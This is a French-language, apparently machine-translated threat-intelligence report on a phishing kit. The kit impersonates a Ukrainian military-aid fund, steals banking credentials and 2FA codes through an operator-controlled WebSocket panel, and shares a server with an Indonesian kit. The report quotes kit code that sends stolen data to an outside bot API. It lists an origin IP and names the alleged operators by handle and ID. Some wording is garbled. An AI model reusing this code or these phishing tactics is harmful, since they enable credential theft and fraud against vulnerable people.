Ce qu'a découvert THE ENABLERS REGISTRY

Le 20 mars 2026, le pipeline automatisé de détection des menaces de THE ENABLERS REGISTRY a signalé [REDACTED][.]sbs — un domaine récemment enregistré hébergeant un site de hameçonnage se faisant passer pour « Le bouclier du défenseur » (« Shield of the Defender »), une fausse fondation d'aide militaire ukrainienne. Le site cible les anciens combattants ukrainiens, les blessés de guerre et les familles des soldats tombés au combat, en leur promettant une aide financière de l'État tout en dérobant les identifiants bancaires de cinq des plus grandes banques ukrainiennes.

Vous trouverez ci-dessous une analyse détaillée de tous les éléments mis au jour par notre analyse automatisée : les techniques d'ingénierie sociale, l'infrastructure technique, le système de contrôle en temps réel des opérateurs, ainsi que l'identité des personnes qui gèrent ce réseau.

Section 1 : L'appât — La fausse fondation d'aide militaire

Le domaine [REDACTED][.]sbs a été enregistrée le 20 mars 2026 par l'intermédiaire de [REDACTED], un registraire connu pour sa lenteur, voire son absence totale, de réaction face aux signalements d'abus. Le .sbs Le TLD (Side-By-Side) est un gTLD peu coûteux souvent utilisé pour mettre en place des infrastructures de possibly phishing jetables.

Le site se présente comme un portail d'aide professionnel lié aux pouvoirs publics. Un drapeau ukrainien occupe toute la largeur de l'en-tête, des images militaires lui confèrent une apparence d'authenticité, et le contenu est soigneusement rédigé en ukrainien dans un style bureaucratique qui rappelle celui des programmes gouvernementaux officiels.

Capture d'écran n° 5 — Page d'accueil du site de hameçonnage se faisant passer pour « Щит Захисника » (Bouclier du Défenseur).

Pour se donner une apparence de crédibilité, les exploitants ont créé un compteur de statistiques bien visible sur la page d'accueil :

• 2 847 candidatures — ce qui laisse entendre que des milliers de personnes ont déjà reçu de l'aide
• 47,2 millions de ₴ distribués — un chiffre élevé mais plausible à l'UAH
• 19 programmes — ce qui laisse entrevoir une opération de grande envergure, impliquant plusieurs programmes

Ces chiffres sont entièrement inventés ; ils sont intégrés de manière fixe dans le code source de la page, sans aucun lien avec le serveur. Ils n'ont qu'un seul but : servir de preuve sociale pour surmonter les hésitations de la victime.

Section 2 : Le piège — 5 banques, un seul objectif

Après avoir cliqué sur « Подати заявку » (Soumettre la demande), la victime accède à un écran lui permettant de choisir une banque. Cinq des plus grandes banques de détail ukrainiennes s'affichent parmi les options, chacune avec son identité visuelle et son logo officiels. C'est à ce stade que l'ingénierie sociale passe de la manipulation émotionnelle au vol technique.

Capture d'écran n° 6 — Écran de sélection de la banque. Chaque option déclenche une séquence personnalisée de vol d'identifiants.

L'analyse du bundle JavaScript du site a révélé que chaque banque dispose d'un séquence unique de collecte d'identifiants en plusieurs étapes, adapté au processus d'authentification réel de cette banque :

Le déroulement de l'attaque est toujours le même, quelle que soit la banque :

Capture d'écran n° 7 — Page de connexion clonée de PrivatBank.

Capture d'écran n° 9 — Page de connexion PUMB clonée.

Capture d'écran n° 10 — Déroulement complet de l'attaque : de la fausse page d'aide militaire au vol d'identifiants et à la prise de contrôle du compte, en passant par la sélection de la banque.

La pile technologique : SPA React interface utilisateur fournie via CDN IANA #1910, avec un Express.js back-end chargé de l'exfiltration des identifiants. L'architecture React permet de créer des formulaires en plusieurs étapes qui s'intègrent parfaitement et sont pratiquement impossibles à distinguer des interfaces bancaires légitimes.

Section 3 : Commande en temps réel par l'opérateur

Il ne s'agit pas d'un simple outil de collecte d'identifiants doté d'une base de données statique. Le kit de possibly phishing comprend un Panneau de contrôle WebSocket en temps réel qui permet à un opérateur humain de manipuler chaque session de victime en temps réel.

Le point de terminaison WebSocket à l'adresse wss://[REDACTED][.]sbs/ws prend en charge les types de messages suivants :

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

Grâce à ce contrôle en temps réel, l'opérateur peut :

• Forcer un état d'attente — afficher le message « Traitement de votre demande en cours… » pendant qu’ils se connectent au véritable compte bancaire de la victime
• Rediriger vers une étape spécifique — demander à nouveau un code par SMS si le premier a expiré
• Afficher de faux messages d'erreur — « Code invalide, veuillez le saisir à nouveau » pour récupérer plusieurs jetons d'authentification à deux facteurs
• Poser des questions personnalisées — demander la date de naissance, le numéro de carte ou toute autre information au cours de la session

Capture d'écran n° 8 — Formulaire de saisie du numéro de téléphone utilisé pour lancer le vol d'identifiants.

Capture d'écran n° 11 — Panneau de contrôle en temps réel de l'opérateur permettant de gérer les sessions des victimes.

L'ensemble des données volées par session : phone, password, PIN, SMS code, card number, date of birth, et email.

Section 4 : Dans les coulisses de IANA #1910 — Deux projets, un seul serveur

Le proxy IANA #1910 masque le serveur d'origine, mais le pipeline d'analyse de l'infrastructure de THE ENABLERS REGISTRY a permis d'identifier la véritable adresse IP d'origine : 45.131.214[.]148, hébergé sur RapidSeedbox / LeaseWeb aux Pays-Bas.

Un détail essentiel : [REDACTED][.]sbs est acheminé via IANA #1910, en masquant son adresse IP d'origine. Mais notre système suit également hlpforvpeople[.]sbs — un nom de domaine associé, enregistré auprès du même bureau d'enregistrement IANA #3765 et présentant des similitudes. Ce nom de domaine est PAS derrière IANA #1910, en exposant directement son adresse IP d'origine : 45.131.214[.]148.

Se connecter directement à cette adresse IP — sans Host en-tête — a révélé quelque chose d’inattendu : un un site de hameçonnage totalement différent. Au lieu de l'aide militaire ukrainienne, le serveur virtuel par défaut a fourni « Carte d'assurance maladie », une opération de hameçonnage liée à l'assurance maladie en Indonésie. Même serveur, des victimes complètement différentes, un pays complètement différent.

Capture d'écran n° 12 — Deux opérations de hameçonnage parallèles partageant le même serveur d'origine : aide militaire ukrainienne ([REDACTED]) et assurance maladie indonésienne (HealthCare ID).

Le modèle de hameçonnage indonésien est un kit connu répertorié dans la base de données de renseignements sur les menaces de THE ENABLERS REGISTRY. Nous avons constaté que des variantes de ce modèle précis avaient été déployées dans toute l'Asie du Sud-Est, ciblant des institutions financières indonésiennes, thaïlandaises et vietnamiennes. Les opérateurs se contentent de remplacer les modèles spécifiques à chaque pays tout en réutilisant la même infrastructure en arrière-plan.

Section 5 : Le fichier config.json qui a tout révélé

Voici comment un seul fichier mal configuré a fait capoter toute l'opération — étape par étape.

Après avoir identifié le deuxième projet du serveur d'origine, celui de THE ENABLERS REGISTRY, Analyseur JS — notre outil automatisé d'analyse JavaScript — a été orienté vers l'ensemble de fichiers du site de hameçonnage indonésien à l'adresse https://45.131.214[.]148/assets/index-ZMQxHb_h.js. L'analyseur a extrait tous les points de terminaison API, les URL externes et les chemins de configuration du fichier JavaScript de 335 Ko. Parmi les résultats :

• Cinq points de terminaison API à l'adresse [REDACTED] — le panneau C2 pour la vérification des identifiants
• Une connexion WebSocket vers wss://rezervtemka[.]cc
• Intégration du pixel Facebook pour le suivi des victimes
• Une référence à /config.json — chargé à l'exécution pour la configuration du bot [REDACTED]

En suivant cette piste, nous avons récupéré /config.json à partir de l'adresse IP d'origine. Le fichier était accessible sans aucune authentification — il se trouvait dans le répertoire racine du site web, accessible à tous :

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.[REDACTED].org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

Le /config.json le fichier était accessible directement depuis l'adresse IP d'origine — pas d'authentification, pas de contrôle d'accès, juste un simple fichier JSON situé dans le répertoire racine du site web:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Un jeton de bot [REDACTED] fait office à la fois de nom d'utilisateur et de mot de passe. Toute personne en possession de ce jeton peut effectuer des appels API au nom de ce bot. Les opérateurs ont laissé le leur dans un fichier accessible au public. Six appels API plus tard, nous avions tout ce qu'il fallait :

Capture d'écran n° 13 — La chaîne OSINT complète : du fichier config.json exposé à l'identification complète de l'opérateur en 6 appels API.

D’un simple fichier mal configuré à l’identification complète des opérateurs en six requêtes HTTP. Pas d’exploits, pas d’accès non autorisé — juste des appels standard à l’API du bot [REDACTED] utilisant un jeton que les opérateurs eux-mêmes avaient laissé exposé.

Section 6 : Les opérateurs

Capture d'écran n° 14 — Le groupe d'opérateurs [REDACTED] « Idr card », révélé à la suite de la fuite du jeton du bot.

Propriétaire / Créateur

MONETTI ESCOBAR

@monettiescobar

Identifiant [REDACTED] : 8135223234

[REDACTED] Premium, profil professionnel

Fuseau horaire : UTC+3 (région de la CEI)

10 messages publics — OPSEC stricte

Chat TraFFeeQMedusa Google AdsChaîne « Deepfakes »

Opérateur / Circulation

Bonya

@BoaCC159

Identifiant [REDACTED] : 6242202706

Alias : PapaZakonVor, Boa, bubullikk

261 messages répartis dans 12 groupes

DC2 — Amsterdam, Pays-Bas

CryptoGrabMarché STYXRaven CCEMPIRE CHATPhoenix Solution

Développeur / Programmeur

Devoys

@devosus

Identifiant [REDACTED] : 8213612730

Développeur de kits de possibly phishing — les opérateurs l'appellent « codeur »

On leur a demandé de « réfléchir à la défense » lorsque la faille a été découverte

Conçu pour un impact minimal sur l'environnement

Poignée @devosus ≈ « dev ops us » — intitulé du poste utilisé comme nom d'utilisateur

Développeur de kitsInfrastructuresSécurité

MONETTI ESCOBAR — Le Patron

MONETTI applique des mesures de sécurité opérationnelle très strictes — uniquement 10 messages publics répartis en deux groupes. Mais ce sont ces groupes qui en disent long : Chat TraFFeeQ (arbitrage de trafic à des fins frauduleuses), Medusa Google Ads (pratiques de « black hat » sur Google Ads), et un Chaîne « Deepfakes ». Son profil professionnel sur [REDACTED] indique « Есть предложение » (« J'ai une proposition à te faire ») — qui font ouvertement la promotion de leurs services. Le fuseau horaire UTC+3 (correspondant à celui de Moscou, Minsk et Kiev) et les horaires d’ouverture 24 h/24, 7 j/7 confirment qu’il s’agit d’une entreprise basée dans la CEI et fonctionnant sans interruption.

Bonya — Le négligent

Contrairement à la politique de sécurité opérationnelle (OPSEC) rigoureuse de MONETTI, Bonya (ancien pseudonyme : PapaZakonVor — ce qui signifie en gros « DaddyThiefByLaw ») a laissé derrière lui une trace numérique considérable — 261 messages répartis entre 12 groupes clandestins. L'historique de ses conversations ressemble à un CV de criminel :

Les associations auxquelles il appartient permettent de brosser un tableau complet : CryptoGrab (pirates de portefeuilles cryptos), Marché STYX (marché noir de données volées), Vérificateur CC Raven (outils de validation des cartes bancaires), EMPIRE CHAT et Phoenix Solution (coordination des fraudes). Il ne s'agit pas d'un délinquant occasionnel, mais d'une personne profondément impliquée dans l'écosystème de la cybercriminalité.

Devoys — Le développeur

Le pilier technique de l'opération. Conçu pour laisser une empreinte publique minimale — lorsque le groupe a été piraté, Bonya a explicitement fait appel à lui : « @devosus, pense à la défense avant qu’on nous défonce le cul » — « @devosus, pensons à la défense avant de nous faire botter les fesses. » Sa réaction sarcastique face à cette violation — « quand à Interpol » (« Quand faut-il interpoler ? ») — ce qui laisse penser que ce n'est pas la première fois qu'ils échappent de justesse à un accident.

Analyse comportementale : 261 messages décryptés

Le pipeline OSINT de THE ENABLERS REGISTRY a collecté et traduit les 261 messages publics provenant de Bonya et provenant de 12 groupes [REDACTED] clandestins (juin 2024 — mars 2026). Traduction automatique via l'API DeepL, avec correction manuelle du contexte. Ces messages révèlent un profil opérationnel complet — classé ci-dessous par type d'activité criminelle.

Fraude bancaire et hameçonnage

Les « mules financières » et le « cash-out »

Fraude au trafic et abus publicitaires

MONETTI ESCOBAR : Le patron silencieux

Contrairement aux 261 messages de Bonya, MONETTI n'en a publié que 10 messages publics — le tout dans un seul fil de discussion sur Chat TraFFeeQ (Arbitrage de trafic ADS/SEO « noir »), en défense d'un collègue :

Les groupes [REDACTED] de MONETTI en disent long : Medusa Google Ads (fraude au PPC de type « black hat »), un Chaîne « Deepfakes » (supports synthétiques utilisés à des fins de fraude), et CHAT MARLBORO (privé, inconnu). L'abonnement [REDACTED] Premium, disponible 24 h/24 et 7 j/7, et « Есть предложение » (« J'ai une proposition à te faire ») Son parcours professionnel laisse entrevoir quelqu’un qui considère la cybercriminalité comme une activité à plein temps.

Capture d'écran n° 2 — Profil [REDACTED] de MONETTI.

Capture d'écran n° 3 — Profil de Bonya. À noter : DC2 (Amsterdam).

Section 7 : La « Panic Room »

Après que THE ENABLERS REGISTRY eut accédé au groupe d'opérateurs via le bot [REDACTED] exposé, l'échange suivant a eu lieu. Le journal de discussion ci-dessous a été traduit en anglais, le texte original en russe étant conservé en italique. L'identité utilisée pour l'accès a été masquée.

Le groupe a été supprimé en quelques minutes. Le message d'adieu de Bonya — « + » — et la réponse affirmative de Devoys — « ouais » — en disent long : Ils savaient qu'ils avaient été démasqués, et leur seule option était de détruire les preuves. Mais à ce moment-là, les données avaient déjà été enregistrées.

Notez le commentaire révélateur de Bonya : « On s'est aussi fait attaquer par le bot ukrainien » — ce qui confirme que les deux projets (ukrainien et indonésien) sont gérés par la même équipe d'opérateurs, et que ce n'était pas la première fois que leur infrastructure était compromise.

Section 8 : Ce que cela montre

Chronologie de l'enquête

Domaines associés

Notre analyse a permis d'identifier un deuxième domaine — hlpforvpeople[.]sbs — enregistrés auprès du même registraire et présentant des structures identiques. Ces deux domaines figurent dans notre base de données :

• Rapport THE ENABLERS REGISTRY : [REDACTED][.]sbs
• Rapport THE ENABLERS REGISTRY : hlpforvpeople[.]sbs

Points clés à retenir

• L'automatisation est le seul moyen de suivre le rythme. Les kits de possibly phishing sont déployés et rendus opérationnels en quelques heures. L'analyse manuelle ne peut pas suivre ce rythme.
• Les opérateurs font des erreurs. Un fichier de configuration accessible à tous sur un projet secondaire a permis de démanteler toute une opération de hameçonnage à l'échelle internationale. Il est difficile de garantir une sécurité opérationnelle (OPSEC) irréprochable sur l'ensemble des projets.
• L'ingénierie sociale évolue au gré de l'actualité. La guerre, l'aide humanitaire et les programmes gouvernementaux sont de plus en plus utilisés comme appâts dans les attaques de hameçonnage, car ils ciblent des personnes en situation de détresse qui sont moins enclines à remettre en question la légitimité de ces initiatives.
• La réutilisation des infrastructures est la norme. Un serveur, deux projets de hameçonnage, deux pays, les mêmes opérateurs. Cartographier les connexions entre les infrastructures permet d'en savoir bien plus que l'analyse isolée d'un seul domaine.

Avertissement : Cette enquête a été menée exclusivement à l'aide de techniques de reconnaissance passive et d'API publiques. Aucun accès non autorisé à un quelconque système n'a été effectué. Les appels à l'API du bot [REDACTED] utilisaient un jeton rendu public par les opérateurs via un point de terminaison ne nécessitant aucune authentification. Tous les noms de domaine mentionnés dans cet article ont été anonymisés conformément aux conventions standard en matière de sécurité de l'information.